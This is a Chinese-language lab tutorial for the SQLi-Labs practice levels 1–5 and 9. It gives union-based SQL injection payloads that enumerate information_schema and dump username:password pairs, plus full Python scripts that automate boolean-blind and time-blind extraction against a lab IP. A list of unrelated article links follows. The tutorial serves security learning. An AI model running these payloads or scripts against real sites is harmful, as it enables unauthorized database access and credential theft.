SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9)

发布时间:2026/11/12 7:55:29

SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9) 前言SQL 注入SQL Injection是 Web 安全领域中最经典、危害最大的漏洞之一。它产生的原因简单却致命开发者将用户输入的数据直接拼接到 SQL 语句中导致攻击者能够篡改原始 SQL 逻辑从而越权操作数据库。尽管各类开发框架已经提供了参数化查询等防护手段但在实际渗透测试和 CTF 竞赛中SQL 注入依然频繁出现是每一位安全从业者必须扎实掌握的基本功。是一套专门用于练习 SQL 注入的靶场环境它通过精心设计的关卡循序渐进地展示了从最基础的联合查询注入到高级盲注的各种攻击技巧。本教程选择了最具代表性的六个关卡——Less-1、Less-2、Less-3、Less-4、Less-5 和 Less-9——带你从零开始逐步攻克 SQL 注入的核心技术。通过这六个关卡你将系统掌握以下四种重要的 SQL 注入手法关卡注入类型核心技术与回显方式Less-1字符型联合查询注入闭合单引号 →ORDER BY查列数 →UNION SELECT联合查询直接回显数据Less-2数字型联合查询注入无需闭合引号 → 与 Less-1 流程相同体会字符型与数字型的区别Less-3单引号括号闭合联合查询闭合)→ 掌握复杂字符串闭合时的构造技巧Less-4双引号括号闭合联合查询闭合)→ 进一步巩固对不同闭合方式的理解Less-5报错注入 / 布尔盲注页面无数据回显但显示数据库错误信息 → 利用extractvalue、updatexml报错函数带出数据或使用length()、ascii()、substr()进行布尔盲注逐位猜解Less-9时间盲注页面不论正确与否都返回相同界面 → 使用if(condition,sleep(5),1)构造延时通过响应时间长短判断 SQL 条件真假完成数据拖取mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。1.首先判断是否存在sql注入1.提示你输入数字值的ID作为参数我们输入?id12.通过数字值不同返回的内容也不同所以我们输入的内容是带入到数据库里面查询了。3.接下来我们判断sql语句是否是拼接且是字符型还是数字型。 编程4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显所以我们可以使用联合查询。联合查询原理简单说一下联合查询就是两个sql语句一起查询两张表具有相同的列数且字段名是一样的2 联合注入第一步首先知道表格有几列如果报错就是超过列数如果显示正常就是没有超出列数。第二步爆出显示位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。 数据管理第三步爆库。第四步 爆表information_schema.tables表示该 数据库下的tables表点表示下一级。where后面是条件group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。第五步爆字段名我们通过sql语句查询知道当前数据库有四个表根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。1-5关sql语句基本上差不多判断字段数order by ?id1 order by 3 -- // 正常 ?id1 order by 4 -- // 错误 → 字段数为 3 找显示位回显点 ?id-1 union select 1,2,3 -- 爆数据库名 ?id-1 union select 1,2,database() -- 爆表名 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- 爆列名以 users 表为例 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers -- 爆数据内容 ?id-1 union select 1,2,group_concat(username,0x3a,password) from users --第一关​​​​​​​第二关​​​​第三关​​​​第四关​​​​第五个​​​​import requests import urllib.parse # 目标 URL不含参数 url http://192.168.209.156/sqli/Less-5/ # 判断条件为真时页面会包含的关键字根据 Less-5 的回显调整 TRUE_KEYWORD You are in def check(condition: str) - bool: 执行一次布尔盲注返回 condition 是否为真。 condition 是一个 SQL 条件表达式例如 11 或 length((select database()))8 # 使用 # 作为注释符requests 会自动将其编码为 %23 payload f1 and {condition} # try: resp requests.get(url, params{id: payload}, timeout10) return TRUE_KEYWORD in resp.text except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果的字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果的每一位字符 result for pos in range(1, length 1): low, high 32, 126 # 可打印 ASCII 范围 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f[] 第 {pos} 个字符: {chr(low)}) return result def blind_injection(query: str, description: str) - str: 完整的一次盲注过程获取长度 → 获取字符串 print(f[*] 正在获取 {description} ...) length get_length(query) print(f[] 长度: {length}) if length 0: return data get_string(query, length) print(f[] {description}: {data}\n) return data if __name__ __main__: # 1. 获取数据库名 db_name blind_injection((select database()), 数据库名) # 2. 获取所有表名 tables blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. 获取 users 表的列名假设表名为 users columns blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. 获取 users 表中的数据假设有 username 和 password 字段 data blind_injection( (select group_concat(username,:,password) from users), users 表内容 (username:password) ) print( 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})第九关​​代码脚本import requests import time # 目标 URLLess-9 BASE_URL http://192.168.209.156/sqli/Less-9/ # 时间盲注参数 SLEEP_TIME 3 # 减小 sleep 可以加快速度但不要太小 TIMEOUT SLEEP_TIME 5 THRESHOLD SLEEP_TIME * 0.5 # 判断为真的最低耗时秒 def test_check(): 先测试两个固定条件确认时间盲注环境是否正常 print([*] 正在测试时间盲注环境...) # 测试真条件 payload_true 1 and if(11,sleep({}),1)-- .format(SLEEP_TIME) t1 time.time() try: requests.get(BASE_URL, params{id: payload_true}, timeoutTIMEOUT) except: pass elapsed_true time.time() - t1 # 测试假条件 payload_false 1 and if(12,sleep({}),1)-- .format(SLEEP_TIME) t2 time.time() try: requests.get(BASE_URL, params{id: payload_false}, timeoutTIMEOUT) except: pass elapsed_false time.time() - t2 print(f 真条件耗时: {elapsed_true:.2f} 秒) print(f 假条件耗时: {elapsed_false:.2f} 秒) if elapsed_true THRESHOLD and elapsed_false THRESHOLD: print([] 环境正常开始时间盲注\n) return True else: print([-] 环境异常真/假条件没有明显的耗时差别) print( 可能是网络延迟太高、注释符不正确或 sleep 被过滤。) return False def check(condition: str) - bool: 执行一次时间盲注返回 condition 是否为真。 使用注释符 -- 两个破折号加空格 payload f1 and if({condition}, sleep({SLEEP_TIME}), 1)-- try: start time.time() requests.get(BASE_URL, params{id: payload}, timeoutTIMEOUT) elapsed time.time() - start return elapsed THRESHOLD except requests.exceptions.Timeout: return True # 超时说明 sleep 了条件为真 except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果每一位字符 result for pos in range(1, length 1): low, high 32, 126 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f [] 第 {pos}/{length} 字符: {chr(low)}) return result def time_blind_injection(query: str, description: str) - str: 完整时间盲注流程 print(f[*] 正在获取 {description} ...) length get_length(query) print(f [] 长度: {length}) if length 0: return data get_string(query, length) print(f [] {description}: {data}\n) return data if __name__ __main__: if not test_check(): exit(1) print( 时间盲注开始每次正确会 sleep {} 秒请耐心等待.format(SLEEP_TIME)) # 1. 数据库名 db_name time_blind_injection((select database()), 数据库名) # 2. 所有表名 tables time_blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. users 表的列名请根据实际表名修改 columns time_blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. users 表数据假设字段为 username 和 password data time_blind_injection( (select group_concat(username,:,password) from users), users 表内容 ) print(\n 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})
延伸阅读

更多相关文章

2026/11/12 7:55:29

多智能体协作框架CCB的设计与实战应用

1. 多智能体协作的价值与挑战在AI技术快速发展的今天,单一模型已经难以满足复杂任务的需求。就像一支足球队需要前锋、中场和后卫各司其职一样,不同AI模型也有各自的专长领域。Claude擅长逻辑推理和架构设计,Gemini拥有超长上下文记忆和创意能…

2026/11/11 6:00:11

k8s pod因节点临时存储(ephemeral-storage)不足而被驱逐

es master三节点中的一个节点提示容器状态未知describe发现events有如下提示,这个是Kubernetes Pod因节点临时存储(ephemeral-storage)不足而被驱逐(Evicted)的事件日志。 Events:Type Reason Age …

2026/11/12 7:54:28

仪征电工证报名地址在哪?多久拿证不被坑全在这

仪征电工证报名地址在哪?多久拿证不被坑全在这 不知道去哪报名怕被中介坑,仪征电工证报名地址在哪?多久拿证?这些问题困扰着很多想要考电工证的小伙伴。其实,只要选对地方、掌握方法,拿证并不难,关键是你得避开那些“假机构”和“包过承诺”。…

2026/11/12 7:54:28

潮南电工证怎么考?真实经历告诉你别怕学历低

潮南电工证怎么考?真实经历告诉你别怕学历低 学历不高怕报不上名?这事儿我真经历过。当年我刚从农村出来,高中毕业,想进工地做电工,但听说要考电工证,心里直打鼓。报名处的工作人员说,只要有身份证、照片、体检证明,学历不是问题。后来我顺利报名,还…

2026/11/12 7:54:28

东宁能考电工证吗?值不值得考?工地太忙根本没时间复习考试

东宁能考电工证吗?值不值得考?工地太忙根本没时间复习考试 工地太忙根本没时间复习考试,这是很多一线施工人员的共同痛点,尤其是像电工这类需要持证上岗的岗位,很多人想考,却不知道东宁能不能考,也担心值不值得考。今天就来聊聊电工证这件事,结合真实…

2026/11/12 7:54:28

江津区白沙镇电工证含金量够不够?跨省证书转过来怎么搞

江津区白沙镇电工证含金量够不够?跨省证书转过来怎么搞 之前考的证在外省能不能转过来?这个问题我每天都在接,特别是在江津区白沙镇的电工朋友们,很多人都是在外地打工时考的证,回来后想用,却发现操作起来并不顺利。其实这背后有个关键点—— 含金量…

2026/11/12 7:54:28

电工证年检标志通过率揭秘:郑州建筑工人怎么避坑?

电工证年检标志通过率揭秘:郑州建筑工人怎么避坑? 怕考不过白交培训费?电工证年检标志考试真题和备考技巧你都掌握了吗?在郑州做建筑工的你,如果打算考电工证,千万别踩这些坑。 电工证年检标志是什么?和电工证有什么区别?…

2026/11/12 7:49:28

阜宁电工证怎么办真实经历告诉你怎么不被中介坑

阜宁电工证怎么办真实经历告诉你怎么不被中介坑 你是不是也在为【阜宁电工证怎么办】发愁?看到网上各种培训机构广告,不知道该信哪个,怕被坑钱又拿不到证?今天我就用自己和身边人的 真实经历 ,告诉你怎么稳妥搞定这个事,别再踩坑了。…

2026/11/11 12:42:59

电工证丢失还能补吗?千万别踩坑,丢了证等于失业

电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。…

2026/11/12 0:04:01

工地太忙根本没时间复习考试?学习电工证到哪里学通过率揭秘

工地太忙根本没时间复习考试?学习电工证到哪里学通过率揭秘 工地太忙根本没时间复习考试?你不是一个人。作为一名在南阳卧龙区干了七八年市政公用工程的电工,我深知这个问题的现实性。电工证不仅是工作的“入场券”,更是职业发展的“通行证”,但备考过程…

2026/11/12 0:04:01

双流电工证考别怕挂科!郑州报考避坑指南全攻略

双流电工证考别怕挂科!郑州报考避坑指南全攻略 实操考试心里没底怕挂科?双流电工证考在郑州报名,很多人因为不了解流程、准备不充分,白白浪费时间和金钱。作为三门峡应届工程类毕业生,我也曾经历过这样的焦虑。今天就从零开始,手把手教你如何避开郑州报…

2026/11/12 0:04:01

之前考的证在外省能不能转过来 怎么报名考电工证培训价格多少

之前考的证在外省能不能转过来 怎么报名考电工证培训价格多少 之前考的证在外省能不能转过来?这个问题确实让不少准备换城市工作的朋友犯了难,尤其像电工证这种实操性很强的证书,很多人担心跨省后证书能不能继续用。其实,只要符合相关流程,是可以顺利转…

2026/11/11 20:27:01

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/10 10:29:37

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑